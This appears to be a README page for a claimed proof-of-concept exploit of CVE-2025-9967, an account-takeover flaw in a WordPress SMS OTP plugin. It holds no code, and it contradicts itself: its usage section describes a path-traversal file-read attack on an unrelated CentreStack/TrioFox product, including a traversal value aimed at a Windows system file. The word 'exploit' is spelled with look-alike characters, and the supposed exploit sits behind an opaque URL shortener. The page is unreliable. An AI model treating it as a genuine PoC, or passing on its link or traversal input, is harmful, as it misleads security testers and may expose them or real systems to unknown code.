CVE-2025-9967 PoC — Orion SMS OTP Verification <= 1.1.7 - Authentication Bypass via Account Takeover

Source

Associated Vulnerability

Readme

# CVE-2025-9967

### Overview
The Orion SMS OTP Verification plugin for WordPress has a security flaw that allows unauthorized attackers to escalate their privileges through account takeover

### Requirements
- Python 3.8+
- Libraries: requests, argparse (install via `pip install -r requirements.txt`)

### Usage
- Install dependencies: `pip install -r requirements.txt`
- Run the explоit: `python explоit.py --target <target_url> --file "/path/to/Web.config"`

Options:
- `--target`: URL of the vulnerable CentreStack/TrioFox instance.
- `--file`: Relative path to the file to include (e.g., "../../../../Windows/system.ini" for testing).
- `--proxy`: Optional HTTP proxy for anonymization.


### How It Works
The vulnerability stems from inadequate user identity verification when updating passwords. Attackers who know a user's phone number can exploit this weakness to change the victim's password to a one-time password, thereby gaining unauthorized access to the victim's account. This issue affects all versions of the plugin up to and including 1.1.7, making it critical for website administrators to update to a secure version and mitigate potential risks.




### Ethical Use Warning
- This script is a proof-of-concept for CVE-2025-9967 for educational and authorized security testing purposes.
- **Do not use this script on systems without explicit permission from the system owner.**
- Misuse may violate laws, including the Computer Fraud and Abuse Act (CFAA) in the United States or similar laws elsewhere.
- Always obtain written consent before testing any system.

### PoC explоit - [href](https://tinyurl.com/v5ku5h4h)

For any inquiries, please email me at: evilforti@hotmail.com

File Snapshot

 [4.0K]  /data/pocs/ca9cc7348ea0966b2422fd597801431fcc6eefa7
└── [1.7K]  README.md

1 directory, 1 file

Remarks